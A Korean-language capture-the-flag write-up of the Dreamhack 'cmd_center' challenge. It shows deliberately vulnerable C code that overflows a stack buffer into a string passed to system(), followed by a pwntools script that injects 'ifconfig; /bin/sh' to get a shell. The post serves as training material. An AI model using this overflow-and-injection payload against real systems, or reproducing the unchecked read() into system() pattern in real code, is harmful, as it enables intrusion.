[Dreamhack] Command Injection: 2 - cmd_center

securitykss·2023년 2월 9일
0

Pwnable 강의(dreamhack)

목록 보기
38/58

1. Description

2. Check

2.1 C code

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void init() {
	setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

int main() {
	char cmd_ip[256] = "ifconfig"
    int dummy;
    char center_name[24];
    
    init();
    
    printf("Center name: ");
    read(0, center_name, 100);
    
    if( !strncmp(cmd_ip, "ifconfig", 8)) {
    	system(cmd_ip);
    }
    
    else {
    	printf("Something is wrong!\n");
    }
    exit(0);
}

code description

cmd_ip에 "ifconfig"를 넣고

center_name에 100바이트 만큼의 크기를 줘서 입력을 받는다.

그 후 cmd_ip와 "ifconfig"를 8바이트만큼 비교하고,

비교한 것이 같으면 system(cmd_ip)를 실행하고

비교한 것이 다르면 "Something is wrong!"을 출력하고 종료한다.

2.2 file

2.3 checksec

3. Design

center_name에 입력받을 때, bof를 이용해서 cmd_ip까지 dummy값으로 채우고

그 후, "ifconfig;/bin/sh"을 넣으면 셸을 획득할 것이다.

여기서 이용하는 취약점과 공격 방식은 bof와 command injection이다.

4. Exploit

4.1 bof && command injection

gdb로 분석해보자

[rbp-0x130]은 center_name이고, [rbp-0x110]은 cmd_ip의 스택 주소이다.

1. 따라서 0x20만큼 dummy로 채우고,

2. 그 후 "ifconfig ; /bin/sh"을 넣어서 shell을 실행시켜 보자

4.2 exploit code

from pwn import *

p = remote("서버", 포트)

buf = b'A'*0x20 + b'ifconfig' + b'; /bin/sh'

p.sendlineafter(": ", buf)

p.interactive()

4.3 result

성공적으로 shell을 따냈다.

Reference

https://dreamhack.io/wargame/challenges/117/

profile
보안 공부를 하는 학생입니다.

0개의 댓글